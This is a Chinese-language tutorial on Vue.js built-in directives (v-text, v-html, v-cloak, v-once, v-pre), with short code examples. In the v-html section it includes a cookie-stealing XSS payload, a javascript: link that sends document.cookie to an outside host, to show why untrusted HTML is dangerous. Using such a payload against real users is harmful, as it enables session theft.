内置指令
- 1 指令梳理
- 2 补充指令
- 2.1 v-text
- 2.2 v-html
- 2.3 v-cloak
- 案例--延迟引入vue造成js阻塞
- 2.4 v-once
- 案例--点击按钮+1并展示初始的值
- 2.5 v-pre
1 指令梳理
前面几节的基础学习已经用到了部分的指令，先梳理一下。
| 指令 | 描述 |
|---|---|
| v-bind | 单向绑定解析表达式，简写为 “: ” |
| v-model | 双向数据绑定 |
| v-for | 遍历数组/对象/字符串 |
| v-on | 绑定事件监听，简写为 @ |
| v-if | 条件渲染（动态控制DOM是否存在） |
| v-else | 条件渲染（动态控制DOM是否存在） |
| v-show | 条件渲染（动态控制DOM是否展示） |
2 补充指令
2.1 v-text
<div id="root"><div>你好，{{name}}</div><!--第一种：插值语法，显示：你好，fx--><div v-text="name">你好，</div><!--第二种： v-text，显示：fx会替换整个div里的内容--><div v-text="str"></div><!--不会解析标签，显示：<h3>你好</h3>--></div>
<script type="text/javascript">new Vue({el:'#root',data:{name:'fx'，str:'<h3>你好</h3>'}})
</script>
- 向其所在节点中渲染文本内容
- 与插值语法的区别：v-text会替换节点中的所有内容
2.2 v-html
<div id="root"><div>你好，{{name}}</div><div v-text="str"></div><div v-html="str"></div> <!--会解析标签，显示：你好-->
</div>
<script type="text/javascript">new Vue({el:'#root',data:{name:'fx'，str:'<h3>你好</h3>',str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>点击查看更多资源</a>'//问号后面是query参数}})
</script>
存在安全性问题：
第一次请求、第一次相应
再次请求、再次相应
其中 k1:v1+k2:v2 其实就是cookie 本质是字符串，格式类似于对象 key: value，或者说json的字符串
不能跨浏览器读取cookie
可以将一个有cookie的浏览器将其cookie复制到另一个浏览器，即可有相同的登录信息（用插件cookie_editor可以导出导入，就不用一条一条复制）
获取cookie:
document.cookie
//可以拿到所有cookie，格式为k1:v1;k2:v2
//若【应用程序】中，cookie的表格勾选了【HttpOnly】，则本语句无法打出
小结：
- 向其所在节点中渲染包含html结构的内容
- 与插值语法的区别：
v-html会替换节点中的所有内容
v-html可以识别html结构 - 存在安全性问题
- 在网站上动态选人任意html是非常危险的，容易导致XSS（冒充用户之手）攻击
- 一定要在可信的内容上使用v-html，不要用在用户提交的内容上
2.3 v-cloak
案例–延迟引入vue造成js阻塞
1. 引入放在 <head>
<head><!-- 引入vue--><script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script><!-- 延迟5s运行-->
</head>
<body><div id="root"><h2>{{name}}</h2></div>
</body>
<script type="text/javascript">new Vue({el:'#root',data:{name:'fx'，}})
</script>
此时，body和script标签被阻塞
2. 引入放在 <body>最后
<body><div id="root"><h2>{{name}}</h2></div><!-- 引入vue--><script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script><!-- 延迟5s运行-->
</body><script type="text/javascript">new Vue({el:'#root',data:{name:'fx'，}})
</script>
此时"div"没有阻塞，先到页面上了，即{{name}}，此时为解析，待到引用vue后经过解析，变成vue实例里的数据
3. 利用v-cloak配合css实现：vue引入放在 <body>最后，但是不显示未解析内容
<head><style><!-- []代表选中所有标签中带有这个属性的元素-->[v-cloak]{display: none;<!-- -->}</style><!-- 延迟5s运行-->
</head>
<body><div id="root"><h2 v-cloak>{{name}}</h2></div><!-- 引入vue--><script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script><!-- 延迟5s运行-->
</body><script type="text/javascript">new Vue({el:'#root',data:{name:'fx',}})
</script>
- v-cloak会在vue实例接管容器的一瞬间被删掉
- 这个指令没有值
- 利用css可以不展示未解析的内容
- 利用场景：当网速比较慢的时候，不把未解析的内容放在页面上
小结
- 本质是一个特殊属性（无值）：vue实例创建完并接管容器的之后，会删掉该属性
- 使用css配合v-cloak可以解决当网速比较慢的时候，不把未解析的内容放在页面上
2.4 v-once
案例–点击按钮+1并展示初始的值
<body><div id="root"><h2 v-once>初始的n值是：{{n}}</h2><h2>当前的n值是：{{n}}</h2><button @click="n++">点我n+1</button></div>
</body><script type="text/javascript">new Vue({el:'#root',data:{n:1,}})
</script>
小结
- v-once 所在节点在初次动态渲染（第一次执行）后，就视为静态内容了
- 以后数据的改变不会引起v-once 所在结构的更新，可以用于优化性能
2.5 v-pre
<body><div id="root"><h2 v-pre>vue其实很简单</h2><h2>当前的n值是：{{n}}</h2><button @click="n++">点我n+1</button></div>
</body><script type="text/javascript">new Vue({el:'#root',data:{n:1,}})
</script>
小结
- v-pre 跳过其所在节点的编译过程
- 可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译
- once是事件修饰符
